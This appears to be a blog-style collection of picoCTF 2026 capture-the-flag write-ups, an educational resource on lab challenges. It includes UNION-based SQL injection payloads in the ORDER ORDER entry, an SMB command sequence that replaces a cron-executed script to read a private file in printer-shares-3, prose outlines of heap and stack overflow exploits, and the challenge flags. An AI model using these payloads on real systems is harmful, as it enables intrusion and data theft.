picoCTF 2026 - Writeup
A writeup for picoCTF 2026 challenges.
Summary
Compact writeups for picoCTF 2026 challenges. More entries will be added in the same format.
Writeups
Web
no-fa
- Description: “Seems like some data has been leaked! Can you get the flag?”
- Hint: rockyou and 2FA safety.
- Root cause: unsalted SHA-256 password storage plus OTP exposed in readable Flask client session.
Exploit flow:
- Extract
adminSHA-256 hash fromusers.db. - Crack the hash with a wordlist (for example, rockyou) to recover
apple@123. - Log in as
adminand capture the Flasksessioncookie. - Decode cookie payload, read
otp_secret, and submit it to/two_fa. - Access
/and retrieve the flag.
Flag:
1
picoCTF{n0_r4t3_n0_4uth_41b9d45a}
Takeaway: 2FA fails if OTP material is client-readable, and unsalted hashes make account takeover easier.
ORDER ORDER
- Description: “Can you try to get the flag from our website. I’ve prepared my queries everywhere! I think!”
- Hint: “What does order in SQL Injection mean?”
- Root cause: second-order SQL injection via stored username reused during report generation.
Exploit flow:
- Register with an injected username and log in.
- Trigger report generation.
- Open the newest CSV report from inbox.
- Use UNION payloads to enumerate tables and extract the flag value.
Payloads used:
1
2
3
4
probe' UNION SELECT sqlite_version(),2,3-- -
probe' UNION SELECT group_concat(name,'|'),2,3 FROM sqlite_master WHERE type='table'-- -
x' UNION SELECT sql,2,3 FROM sqlite_master WHERE name='aDNyM19uMF9mMTRn'-- -
x' UNION SELECT value,2,3 FROM aDNyM19uMF9mMTRn WHERE name='flag'-- -
Flag:
1
picoCTF{s3c0nd_0rd3r_1t_1s_3ad6ac82}
Takeaway: storing input safely is not enough if it is later concatenated into SQL.
sql-map1
- Description: authenticated search endpoint vulnerable to SQL injection.
- Hints: search box, MD5 passwords, SQLMap/manual SQLi.
- Root cause: unsafely interpolated search parameter allowed UNION extraction of credential hashes.
Exploit flow:
- Register and log in to reach vulnerable search endpoint.
- Confirm column count and perform UNION-based extraction.
- Dump
userstable hashes and crack MD5 offline. - Log in with recovered credentials and retrieve flag.
Flag:
1
picoCTF{F0uNd_s3cr3T_K3y_f0R_w3_<>}
Takeaway: parameterized queries and modern password hashing prevent this full attack chain.
Reverse Engineering
binary-instrumentation-3
- Description: the executable should write the flag, but the runtime flow is broken.
- Hint: Frida is a great starting point.
- Root cause: packed PE payload with Base64 flag fragments initialized in static constructors.
Exploit flow:
- Inspect PE sections and identify
.ATOMas packed data. - Decompress
.ATOMas LZMA (alone format). - Analyze the unpacked payload and static initializers.
- Concatenate and decode the extracted Base64 fragments.
Flag:
1
picoCTF{411_4r3_4p15_n07h1n9_3l53_4f70640e}
Takeaway: static unpacking is often faster than dynamic instrumentation when runtime setup is unstable.
binary-instrumentation-4
- Description: recover the flag from a staged PE that sends data after a key check.
- Hints: Frida is a great starting point; compare APIs too.
- Root cause: packed payload stores Base64 flag parts and checks a hardcoded key through compare logic.
Exploit flow:
- Identify that
bin-ins.exeis a loader with a large.ATOMsection. - Decompress
.ATOMand reverse the unpacked payload. - Follow key-check logic (
lstrcmpA) and success path. - Reconstruct and decode the Base64 fragments from static initializers.
Flag:
1
picoCTF{n3tw0rk_1s_4P1s_4S_W311_6ae41cdc}
Takeaway: loader stubs often hide simple logic in second-stage binaries.
bypass-me
- Description: password checker with misleading sanitization.
- Root cause: encoded password is XOR-decoded at runtime, while sanitized input is not used in the final comparison.
Exploit flow:
- Enumerate symbols (
decode_password,sanitize,main) from the unstripped ELF. - Recover encoded bytes from
decode_passwordand XOR each byte with0xaa. - Obtain
SuperSecureand provide it to the binary.
Flag:
1
picoCTF{d3bugg3r_p0w3r_is_4w3s0m3_9d5f0f68}
Takeaway: debugging symbols and fake helper functions are common reverse-engineering misdirection.
secure-password-database
- Description: authenticate by submitting a hash value.
- Hint: understand the hashing algorithm.
- Root cause: deterministic secret generation (
XOR 0xAA) plus predictable DJB2-style hash verification.
Exploit flow:
- Reverse
hashand identifyh = h * 33 + cwith seed0x1505. - Reverse
make_secretand decode obfuscated bytes via XOR0xAA. - Compute required numeric hash and submit it.
Flag:
1
picoCTF{d0nt_trust_us3rs}
Takeaway: custom auth primitives fail when secrets and transforms are statically reversible.
Binary Exploitation
heap-havoc
- Description: heap overflow in a struct-based challenge with function pointers.
- Root cause: two
strcpycalls into 8-byte heap buffers allow overwrite of adjacent struct fields.
Exploit flow:
- Overflow
i1->nameintoi2fields. - Set
i2->nameto writable.bssmemory. - Set
i2->callbacktowinner(). - Let the program invoke the overwritten callback.
Flag:
1
picoCTF{h34p_0v3rfl0w_f810c23a}
Takeaway: function-pointer overwrites often require preserving intermediate pointers to avoid pre-trigger crashes.
offset-cycle
- Description: timed ret2win from a generated binary after running
./start. - Root cause: unsafe
gets()invuln()with non-PIE binary and reachablewin().
Exploit flow:
- Run
./startand inspect generated source. - Compute offset to saved return address (
67bytes in solved instance). - Overwrite return address with
win().
Flag:
1
picoCTF{u_Us3d_pwNt00L5_18428ce4}
Takeaway: in timed generators, fast triage and payload automation matter more than exploit complexity.
offset-cycleV2
- Description: generated binary with stack overflow and a predictable canary check.
- Hint: guessing the canary is easy.
- Root cause: canary derives from the beginning of the flag, making it predictable (
pico).
Exploit flow:
- Run
./startand parse current source/binary pair. - Extract
BUFSIZE, return offset, andwin()address. - Craft payload: buffer fill +
picocanary + padding +win()return address. - Send before timeout.
Flag:
1
picoCTF{Y0U_AGa1n_Us3d_pwNt00L5_45fb3e0b}
Takeaway: canaries are ineffective when derived from predictable data.
Cryptography
Secure Dot Product
- Challenge idea: oracle returns dot product of chosen vector with secret AES key bytes.
- Root cause: raw SHA-512 prefix MAC (
SHA512(secret || message)) enables length extension. - Extra weakness: parser strips non-digit characters, helping forged extended inputs remain valid.
Exploit outline:
- Collect trusted vector/hash pairs from the service.
- Forge extended payloads with SHA-512 length extension.
- Query with controlled suffix values to isolate key-byte contributions.
- Recover most bytes directly; solve remaining bytes with linear equations (for example with Z3).
- Rebuild AES key and decrypt ciphertext.
Flag:
1
picoCTF{n0t_so_s3cure_.x_w1th_sh@512_1bb6154f}
Takeaway: use HMAC for message authentication, never raw hash prefix constructions.
Forensics
disko-4
- Description: recover a deleted flag file from a FAT32 image.
- Hint: check deleted files.
- Root cause: deleted directory entry remained recoverable.
Exploit flow:
- Confirm filesystem type with
fileandfsstat. - List deleted entries using
fls -r -d. - Recover
dont-delete.gzwithicatand decompress it.
Flag:
1
picoCTF{d3l_d0n7_h1d3_w3ll_4fed4369}
Takeaway: on FAT filesystems, deleted artifacts can remain recoverable even when other entries are corrupted.
git-2
- Description: recover data from a partially damaged Git repository.
- Hint: object files were likely untouched.
- Root cause: refs metadata was damaged, but
.git/objectsstill contained full history.
Exploit flow:
- Locate recovered
.gitmetadata. - Recreate minimal refs structure (
refs/heads,refs/tags,branches). - Enumerate and inspect objects, then restore branch pointer.
- Read deleted content from an earlier commit.
Flag:
1
picoCTF{g17_r35cu3_16ac6bf3}
Takeaway: if object storage survives, Git history is usually recoverable with minimal ref repair.
Rogue Tower
- Description: identify rogue cell activity and recover exfiltrated data from PCAP.
- Hints: UDP/55000 broadcasts, HTTP User-Agent IMSI, key derived from victim IMSI.
- Root cause: exfil data split across POST chunks and weak XOR scheme.
Exploit flow:
- Identify rogue broadcast (
PLMN=00101,CELLID=91043). - Match victim via HTTP User-Agent fields (
IMSI,CELL). - Reassemble POST data chunks.
- Base64-decode and XOR with IMSI-derived key.
Flag:
1
picoCTF{r0gu3_c3ll_t0w3r_7a06fd7c}
Takeaway: timeline correlation plus weak exfil encryption quickly exposes attacker workflow.
timeline-1
- Description: find hidden data by building and filtering an ext4 MAC timeline.
- Hints: recent activity, anti-forensics behavior, and
macbfiltering. - Root cause: suspicious inode with synchronized timestamps revealed encoded payload.
Exploit flow:
- Build timeline with
fls+mactime. - Pivot on recent suspicious entries and verify with
istat. - Extract inode content with
icatand Base64-decode it.
Flag:
1
picoCTF{573417h13r_7h4n_7h3_1457_58527bb222}
Takeaway: timestamp clustering is a reliable lead for hidden or tampered artifacts.
General Skills
printer-shares-3
- Description: debug script left exposed through SMB shares.
- Hint: script runs every minute.
- Root cause: writable public SMB share + cron execution of shared script.
Exploit flow:
- Enumerate shares on port 60023.
- Confirm
script.shandcron.logexist in public share. - Replace
script.shto print the private flag file. - Wait for cron, then read
cron.log.
Commands used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
smbclient -L //dolphin-cove.picoctf.net -p 60023 -N
smbclient //dolphin-cove.picoctf.net/shares -p 60023 -N -c 'ls'
cat > script.sh << 'EOF'
#!/bin/bash
echo "FLAG_START"
cat /challenge/secure-shares/flag.txt 2>&1
echo "FLAG_END"
EOF
smbclient //dolphin-cove.picoctf.net/shares -p 60023 -N -c 'put script.sh script.sh'
sleep 70
smbclient //dolphin-cove.picoctf.net/shares -p 60023 -N -c 'get cron.log cron.log.new'
tail -n 120 cron.log.new
Flag:
1
picoCTF{5mb_pr1nter_5h4re5_r3v3r53_85690588}
Takeaway: never execute scheduled scripts from user-writable shares.
Template For New Challenges
Use this block for each future entry:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
### <Category>
#### <Challenge Name>
- Description: <short description>
- Hint: <hint>
- Root cause: <one line>
Exploit flow:
1. <step>
2. <step>
3. <step>
Commands or payloads:
```bash
<commands>
```
Flag:
```text
<flag>
```
Takeaway: <one line lesson>